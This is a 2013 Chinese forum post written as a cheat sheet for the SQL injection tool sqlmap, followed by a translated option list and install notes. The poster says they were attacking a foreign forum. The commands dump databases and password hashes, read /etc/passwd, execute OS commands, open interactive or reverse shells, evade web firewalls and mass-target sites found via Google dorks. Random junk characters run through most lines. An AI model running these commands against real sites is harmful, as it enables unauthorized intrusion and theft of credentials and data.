找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2772|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、3 [( {1 ^' V; d$ }& c( d9 i
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
* O% ]5 T# i$ m) t5 d8 e: n) R, zsqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
: F8 M2 o  v: q: h, O3 Csqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
. M0 |5 Q7 w; p7 Q
' H' j% E( D/ `& f# Bsqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v- `9 d( O- j: n4 h- M/ R
0 #获取字段内容6 P, X/ l+ Y; n/ X

$ l* q) O: Z) V  [/ m; ^******************信息获取******************, h0 C# a& ]- P, y6 G% e& A0 R% }
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
7 z: ]1 u* M6 S) osqlmap -u “http://url/news?id=1″ –users #列数据库用户
+ G9 ^7 G5 D- r& u: v5 Jsqlmap -u “http://url/news?id=1″ –dbs#列数据库6 V6 u6 b" i: r* d. {. Q* F
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码8 z# Y$ O2 O: r3 ]
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
" P0 }* N: W* q9 I6 isqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”6 I5 K4 B, Y% B' C/ w( L! d' r3 M% {
–start 1 –stop 20 #列出指定字段,列出20 条
6 F9 k% x' }$ o  z3 m+ H# fsqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
9 T2 a. ?0 `8 L/ b* R# Rsqlmap -u “http://url/news?id=1″ –privileges #查看权限' i2 l/ Z/ {* _& H3 h) q& S
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
: Q) r" X& V- i1 ^$ ~7 W8 csqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
& \% b% \) A: j* g/ s( tsqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表* H, t/ }0 q6 ]
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录2 x$ d4 ^, f9 X; N: ~6 A2 r
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
# Q+ v+ J+ s# K4 K' s* T/ y! Bsqlmap -u “http://url/news?id=1″-b #获取banner信息
" Q, w2 X1 Q3 X6 `sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入- q. l! a1 i. J; q, P, h
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
: }3 D; W5 u' csqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
5 k  n! e& S6 K% K5 K" }sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词! M: A3 r! e" J% g
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
$ Z7 u8 ]5 [! ~& T+ j( _& Q" W3 X& [; \4 Ksqlmap -u “http://url/news?id=1″ –file /etc/passwd. n4 I! e/ g. t+ }% ]' C6 ~
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
4 S0 B3 o( Z  j. Ksqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
# K7 b( u7 o; Y( S6 t2 isqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
! b  P5 I7 q* {! B& N# h0 Asqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
, l7 A1 W  x5 D2 O4 hsqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度7 E# V9 Y" @% M) n: M
***********高级用法*************
# N% q& t5 e& c-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入/ P# ~8 \% @  A) y) ~0 _' \
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
( L8 u# ]1 o3 a  [! w' U–technique   测试指定注入类型\使用的技术+ i: }( `# a1 Z4 P* b3 {
不加参数默认测试所有注入技术, J8 m* U8 c' J- i6 A/ N) j
•     B: 基于布尔的SQL 盲注
& R7 J# E3 I! V/ w1 R4 o•     E: 基于显错sql 注入- l$ d) t4 v- X# v
•     U: 基于UNION 注入; n7 H- r. _7 q  i. ~* L! j
•     S: 叠层sql 注入
: Y4 E0 P' i' N' f4 k. Q8 ^•     T: 基于时间盲注
% ]  ~- b# Z5 |# S: I6 f. a1 g. ~–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()6 b6 r  u, y3 c' o5 j; \4 [
–tamper 插件所在目录
1 Y5 H5 E0 \, J0 n5 j\sqlmap-dev\tamper1 A+ t4 z/ z3 X2 p  l: @  P/ L
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
$ N* X9 m- @5 H" c& c/ O3 C' wlevel 执行测试等级 攻击实例:7 G5 w* S( V. s' H3 ^. U$ D
Sqlmap -u “http://url/news?id=1&Submit=Submit”% a9 }, u7 \8 t* N/ p/ \
–cookie=”PHPSESSID=41aa833e6d0d
/ P& {9 U3 }% [+ I3 N) v28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
3 e1 \1 a( z9 N( A/ G9 M: _8 j% W/ J–password3 {$ j$ R; L( t
参考文档:http://sqlmap.sourceforge.net/doc/README.html1 ^0 Z, C0 H0 j  \" G# c  \5 C
***********安装最新版本*************
- W4 K0 Q3 G" W5 q6 U& c) wubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版2 I; @% q# P3 T2 Q# C5 [2 m$ v
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev$ `  X/ C$ y, ?! v2 d' z
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
( o2 O! E6 J6 o5 o; I6 b/ Lsudo vim /home/当前用户/.bashrc
$ j5 b5 B; B  A8 Q7 X+ ?7 l#任意位置加上:
  q1 {6 c3 w4 g, i6 f6 ]alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效% U1 n/ y3 |) m# j
如果想对所有用户有效 可设置全局 编辑下面的文件, C) Q6 z2 \5 m- g1 H
vim /etc/profile
' k) c  ^- B. R1 [同样加上:
' e5 }+ c+ Y! O: Lalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
1 n8 ]7 a; I5 _# B( r' m4 ~******************windows 7 (x64) sqlmap install (SVN)************
5 T) N4 F3 J$ u, ^; Chttp://www.python.org/getit/ 安装python" Y" k' {+ t- E7 e7 T6 u
http://www.sliksvn.com/en/download 安装windows svn client
$ O% {+ i& O( K$ nsvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
3 J3 G$ j, W" i安装sqlmap
0 s. t. _$ V9 x*修改环境变量4 h% A, U9 Z, m7 Z. M- f) E- h
–version             显示程序的版本号并退出
0 f* T) k  E2 A# _' c% u-h, –help            显示此帮助消息并退出
# `- j2 n# H% |$ S-v VERBOSE            详细级别:0-6(默认为1)
+ m+ @# N) \1 p4 ~! F5 |1 jTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。
7 E" B6 ^4 L) I1 B# p-d DIRECT           直接连接到数据库。1 P/ Z& q( v4 x& @, x! v* @
-u URL, –url=URL   目标URL。
- @8 Z1 y% l% F" G- D' ^-l LIST             从Burp 或WebScarab 代理的日志中解析目标。5 I, r" G/ ^# |) e
-r REQUESTFILE      从一个文件中载入HTTP 请求。: f7 v& e: E) S- o4 Q
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
  v  ]$ P' X  x-c CONFIGFILE       从INI 配置文件中加载选项。
# M; {& v5 g/ TRequest(请求)::
, H3 G; N1 \7 r: A* L9 V9 \这些选项可以用来指定如何连接到目标URL。$ _' P4 t% ~$ c+ @2 q
–data=DATA         通过POST 发送的数据字符串
- z4 N9 A' L" I' Z# U3 \–cookie=COOKIE     HTTP Cookie 头
$ u; ?2 ?3 H4 X–cookie-urlencode  URL 编码生成的cookie 注入
' t+ [9 v  L  r  {, U–drop-set-cookie   忽略响应的Set –Cookie 头信息- q' C. e3 N' e2 F4 ~

+ n' q7 B1 I! q- T+ }–user-agent=AGENT  指定  HTTP User –Agent 头
' M1 R5 q7 J( c9 O–random-agent      使用随机选定的HTTP User –Agent 头
) x; @& m9 `# n9 q–referer=REFERER   指定  HTTP Referer 头1 F. j8 ?6 T; Y+ U
–headers=HEADERS   换行分开,加入其他的HTTP 头) L& U/ s) O, L) }3 M& @
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)- |1 A6 i9 Y% e* L
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
* }3 u: p) ^, _% ?+ W( O% d: f–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)6 }- ]2 @8 |2 q6 l
–proxy=PROXY       使用HTTP 代理连接到目标URL9 d' H6 S- I6 x. A+ q
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
6 y  [2 w- D# ]' ]4 |–ignore-proxy      忽略系统默认的HTTP 代理6 ?: h; N5 y4 N; x5 D0 e; d1 R
–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
: i; [) H# Z3 ?  C: B. S–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)
5 `  M- ?, l" m  c2 W5 e5 C- E8 w$ u–retries=RETRIES   连接超时后重新连接的时间(默认3)4 m' h0 t" {* }6 A3 B
–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
& x4 r9 L: S, J2 U1 L–safe-url=SAFURL   在测试过程中经常访问的url 地址
8 b& z" ^) Y+ T/ K–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL& q; d+ y, ]/ [& v$ V; z7 U) h3 P
Optimization(优化): 这些选项可用于优化SqlMap 的性能。$ E/ o# T8 q- H" s5 g
-o                  开启所有优化开关
% x  n* K/ l, ~) D2 _–predict-output    预测常见的查询输出
: s: _/ C# O" K4 ]' p7 z( E–keep-alive        使用持久的HTTP(S)连接7 H7 z6 w+ r, l4 Y: M7 @% e  P
–null-connection   从没有实际的HTTP 响应体中检索页面长度' u, E* E+ w  J! D- D% [
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
5 x0 I, s9 U, A+ |# dInjection(注入):
# @! K1 g! K: ]2 T  ]这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
4 X4 |  v, U4 r-p TESTPARAMETER    可测试的参数(S)
9 _1 [4 M! r/ H5 H–dbms=DBMS         强制后端的DBMS 为此值6 M6 m+ j9 E% x9 h
–os=OS             强制后端的DBMS 操作系统为这个值+ J8 b* r4 z9 N# v) H
–prefix=PREFIX     注入payload 字符串前缀
. l; C- k6 `; `6 V& s–suffix=SUFFIX     注入 payload 字符串后缀
2 o* o$ @9 j" G. m/ p! y–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
- C# _8 y8 L$ |# `5 LDetection(检测):
* r. w6 Z% M: k这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。- ?2 J8 G8 r* V  `* C+ d
–level=LEVEL       执行测试的等级(1-5,默认为1)5 I$ l% L% X9 S, n% y$ B
–risk=RISK         执行测试的风险(0-3,默认为1)' f$ ~2 j" L9 d
–string=STRING     查询时有效时在页面匹配字符串
# n/ ?/ M$ x1 S  M–regexp=REGEXP     查询时有效时在页面匹配正则表达式3 C2 E6 j" A* x- ]7 b
–text-only         仅基于在文本内容比较网页
: D5 F4 I' K, ?Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。/ D, s7 Z; s2 S0 d
–technique=TECH    SQL 注入技术测试(默认BEUST)
5 @" W$ g) s8 U, M; W–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
8 p* R& h8 ]) t) u–union-cols=UCOLS  定列范围用于测试UNION 查询注入
8 J4 e3 f' @" G9 i# k! N+ D–union-char=UCHAR  用于暴力猜解列数的字符
5 k* h5 k, o0 YFingerprint(指纹):
7 o# T; v9 d. _: v0 J-f, –fingerprint     执行检查广泛的DBMS 版本指纹
6 r4 P" p% O8 L8 u7 p5 L' Y6 w0 VEnumeration(枚举):$ _; X5 E9 Z/ @- f+ r8 F, P/ i

& k: X9 J* x* P这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
- {* z6 w7 y2 _. N% t0 e; I# P9 U-b, –banner        检索数据库管理系统的标识, x  P/ b3 Z* Z3 z7 |) A# f
–current-user      检索数据库管理系统当前用户
  O5 o; i6 `: }/ E* p–current-db        检索数据库管理系统当前数据库
3 ?* }* w7 f6 X8 Q  o–is-dba            检测DBMS 当前用户是否DBA* w* x: J! Q9 U, R& J# L1 _9 Z
–users             枚举数据库管理系统用户
& H4 F! D: i& K4 J1 e–passwords         枚举数据库管理系统用户密码哈希- T+ H: l/ @9 l0 w" m% k
–privileges        枚举数据库管理系统用户的权限
( s. D( M' G$ n: d# W: A–roles             枚举数据库管理系统用户的角色! W' B8 s2 i" Y# o, [/ \  _# D
–dbs               枚举数据库管理系统数据库
1 |  x/ ^" u1 R5 ?1 I. u  M+ |–tables            枚举的DBMS 数据库中的表
2 Q" l+ [0 D& X3 W–columns           枚举DBMS 数据库表列" p: E; W+ w" n+ J( A% c9 }# ?
–dump              转储数据库管理系统的数据库中的表项
$ C3 ^: Q' t/ p8 x& t2 |) e* d0 }–dump-all          转储所有的DBMS 数据库表中的条目! i0 J" G% B9 N; u
–search            搜索列(S),表(S)和/或数据库名称(S)
) P+ |( L4 o3 H+ d! H/ J0 D-D DB               要进行枚举的数据库名4 H' S& V- u9 W8 |7 n) o
-T TBL              要进行枚举的数据库表5 Y2 \3 w3 F+ `% l0 H
-C COL              要进行枚举的数据库列
. P# C' v- B- ^5 G. n% H9 c-U USER             用来进行枚举的数据库用户
" a+ w: b! x3 A2 X$ H  D3 l9 v–exclude-sysdbs    枚举表时排除系统数据库
: c* b6 o" d( g4 P–start=LIMITSTART  第一个查询输出进入检索0 l* \* x3 V$ w8 N
–stop=LIMITSTOP    最后查询的输出进入检索
( x5 b+ c7 m5 Y* m6 j' ]–first=FIRSTCHAR   第一个查询输出字的字符检索
2 H, f) L$ J7 u+ v! Y; P/ [: |0 X–last=LASTCHAR     最后查询的输出字字符检索
8 j& W  o3 A- H3 G  V0 X$ S0 N–sql-query=QUERY   要执行的SQL 语句
$ _6 A$ `0 z4 S1 ]–sql-shell         提示交互式SQL 的shell4 o' [/ B" `; R
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。1 _1 N9 Z. D5 e1 x3 `% t! n
–common-tables     检查存在共同表) X7 E8 q* C$ M; q
–common-columns    检查存在共同列! N9 k! I* e1 d
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。/ W. Z: |5 y8 O
–udf-inject        注入用户自定义函数
- d; J7 N# M7 N# D6 q–shared-lib=SHLIB  共享库的本地路径
. j( K' L+ R5 u3 cFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
! k4 R% M' _! D% Y! _* S–file-read=RFILE   从后端的数据库管理系统文件系统读取文件) `0 Y. k, `0 a, U+ J% C0 V
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
9 w0 d7 r" X" |+ S–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
. K6 Y4 ^- Z6 ?1 m- pOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。- K( g  {+ l8 r. a( ?$ b/ ?+ x
–os-cmd=OSCMD      执行操作系统命令2 q* Y; ^* `% ~: B
–os-shell          交互式的操作系统的shell, _* Z' W# k/ |
–os-pwn            获取一个OOB shell,meterpreter 或VNC6 M% b  t# ~* t: i" }* z7 {
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC  m7 k+ D% E  i( d: _: I( |
–os-bof            存储过程缓冲区溢出利用; _0 `+ D& _8 B5 `4 e
–priv-esc          数据库进程用户权限提升0 J; C4 {  t( N9 E9 E9 ~9 A9 @9 x
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
. }) J0 I! k- p6 L4 h–tmp-path=TMPPATH  远程临时文件目录的绝对路径
8 a9 e; V9 L2 ~6 P
4 @- B$ `' {: J" V. F/ XWindows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
# c$ |" P& O9 _- N–reg-read          读一个Windows 注册表项值5 U8 n/ O, e0 i
–reg-add           写一个Windows 注册表项值数据
0 A- I4 G& C& e–reg-del           删除Windows 注册表键值8 E' c& w8 x0 K6 J0 _* [/ |5 \. W
–reg-key=REGKEY    Windows 注册表键
9 y# d* z# N& a1 T; O- s$ W6 a–reg-value=REGVAL  Windows 注册表项值5 e! \3 R4 X7 _8 {
–reg-data=REGDATA  Windows 注册表键值数据
2 v! L. p4 K: v0 P; C3 G–reg-type=REGTYPE  Windows 注册表项值类型
% P6 \, ~- k$ dGeneral(一般): 这些选项可以用来设置一些一般的工作参数。
% ?/ v( ?9 d* O  N& s5 l/ @-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
+ u. H# B0 T; R-s SESSIONFILE      保存和恢复检索会话文件的所有数据. k  m3 L; M) f
–flush-session     刷新当前目标的会话文件  v* t% f8 Q7 {
–fresh-queries     忽略在会话文件中存储的查询结果
: E* M  E( r7 M' [" t–eta               显示每个输出的预计到达时间/ g" ?7 W. H$ a, K$ g; C2 K  f
–update            更新SqlMap$ [1 ^0 i0 ?9 J3 y' c% G  s
–save              file 保存选项到INI 配置文件9 o4 v3 M" d$ ]$ N$ U6 d
–batch             从不询问用户输入,使用所有默认配置。8 \" h( u3 E% {2 }1 y9 R/ ]) }
Miscellaneous(杂项):+ j) I) P0 ]0 T8 u& |( {
–beep              发现SQL 注入时提醒
( L- J( X3 ?+ u+ a  b% k–check-payload     IDS 对注入payloads 的检测测试
& D0 K6 d. [7 z* q9 f# l0 s0 d–cleanup           SqlMap 具体的UDF 和表清理DBMS
$ g4 g% w" d0 {+ U* x% P" e# m–forms             对目标URL 的解析和测试形式0 M: M; h& E6 A7 k9 [
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
6 q3 Q( H9 d) T7 E3 b1 B–page-rank         Google dork 结果显示网页排名(PR)
; c& a) G  _) m" I' Q6 h! _7 c! I2 e–parse-errors      从响应页面解析数据库管理系统的错误消息
6 n& Q  f# Y) |: N2 s  k–replicate         复制转储的数据到一个sqlite3 数据库6 ~2 y8 `# O3 O0 J/ P# |+ ]% m
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
$ X; ]5 p" V6 ^% D–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表